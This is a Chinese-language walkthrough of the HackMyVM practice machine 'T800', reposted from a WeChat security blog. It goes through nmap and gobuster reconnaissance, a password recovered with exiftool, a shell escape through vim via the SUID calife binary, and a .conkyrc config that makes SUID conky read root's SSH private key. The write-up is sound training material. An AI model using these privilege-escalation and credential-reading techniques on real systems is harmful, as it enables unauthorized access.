渗透测试靶机练习 No.80 T800

靶机信息

下载地址:

https://hackmyvm.eu/machines/machine.php?vm=T800
网盘链接：https://pan.baidu.com/s/1OjMwuU6F1V98x2UnLz-eHA?pwd=xcvx

靶场: HackMyVm.eu

靶机名称: T800

难度: 简单

发布时间: 2021年4月8日

提示信息:

无

目标: user.txt和root.txt

实验环境

攻击机:VMware kali 10.0.0.3 eth0桥接互联网，eth1桥接vbox-Host-Only

靶机:Vbox linux IP自动获取 网卡host-Only

信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 10.0.0.1/24

扫描到主机地址为10.0.0.145

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 10.0.0.145 -oN nmap.log

扫描到开放80和800端口，先来看看80端口

Web渗透

访问后只有一张图片，源码中有一段注释（我是 ruut)，猜测ruut是个用户账号。做个目录扫描检查敏感路径。

目录扫描

gobuster dir -w ../../Dict/SecLists-2022.1/Discovery/Web-Content/directory-list-2.3-medium.txt  -u http://10.0.0.145 -x php,html,txt,zip

扫描到sexy目录和robots.txt文件，先来看看robots.txt

给了扫描到的目录和后缀，做个模糊测试枚举文件名

wfuzz -w ../../Dict/SecLists-2022.1/Discovery/Web-Content/directory-list-2.3-medium.txt --hh 169  http://10.0.0.145/sexy/FUZZ.jpeg

枚举出文件名，把图片下载下来看看

wget http://10.0.0.145/sexy/nudeslut.jpeg

看看图片内容

检查图片是否有隐写信息

图片隐写

exiftool nudeslut.jpeg

OK，信息就这么多了，目前我们拿到了疑似用户名的ruut和密码chmodxheart，尝试登录SSH（注意SSH端口是800）

ssh [email protected] -p800

登录成功，来找找敏感信息

cat /etc/passwd | grep bash

找到另一个用户superruut，继续找

find / -perm -u=s -type f 2>/dev/null

搜索suid文件时发现两个可疑文件，访问看看

conky程序不知道如何利用，calife执行时提示运行su，并且让输入密码，再来试试

/usr/bin/calife su
/usr/bin/calife ruut
/usr/bin/calife supersruut

当我加上su为参数时提示找不到su这个用户，使用ruut为参数并且输入chmodxheart为密码时密码正确，但没有任何变化，当我用superruut为参数和chmodxheart为密码时进入了vim程序。在vim中可以执行命令，来验证下。

:!/bin/bash

提权成功，拿到superruut权限，先来查看下flag再找找如何提权到root权限

ls
cat userflag.txt

拿到userflag.txt，再来看看conky这个程序，查找搜索引擎后得知这是一个图形化的linux性能监控程序。

https://www.linuxquestions.org/questions/slackware-14/is-there-any-way-to-get-conky-to-only-output-to-console-no-x-window-777770/

在这个页面中他告诉我如何将命令结果输出到控制台中，需要在用户目录下生成.conkyrc文件并将内容编辑进去，来验证下

程序报错，为此我在/etc/conky目录下找到配置文件conky.conf

按照配置文件中的语法修改.conkyrc，并经过多次修改拿到最终配置文件，可以直接读取/root/.ssh/id_rsa文件

.conkyrc

conky.config = {
    out_to_x = false,
    background = false,
    no_buffers = true,
    out_to_console = true,
    double_buffer = true,
    own_window = true,
    own_window_type = override,
    own_window_transparent = true,
    update_interval = 1,
    uppercase = false,
    use_spacer = 'none',
    total_run_times = 0
}


conky.text = [[
${tail /root/.ssh/id_rsa 30}
]]

执行效果

/usr/bin/conky

拿到root用户的id_rsa，登录SSH

vi id_rsa
chmod 600 id_rsa
ssh [email protected] -i id_rsa

登录成功，来找一下flag

ls
cat rootflag.txt

拿到rootflag.txt，游戏结束。

原文始发于微信公众号（伏波路上学安全）：渗透测试靶机练习 No.80 T800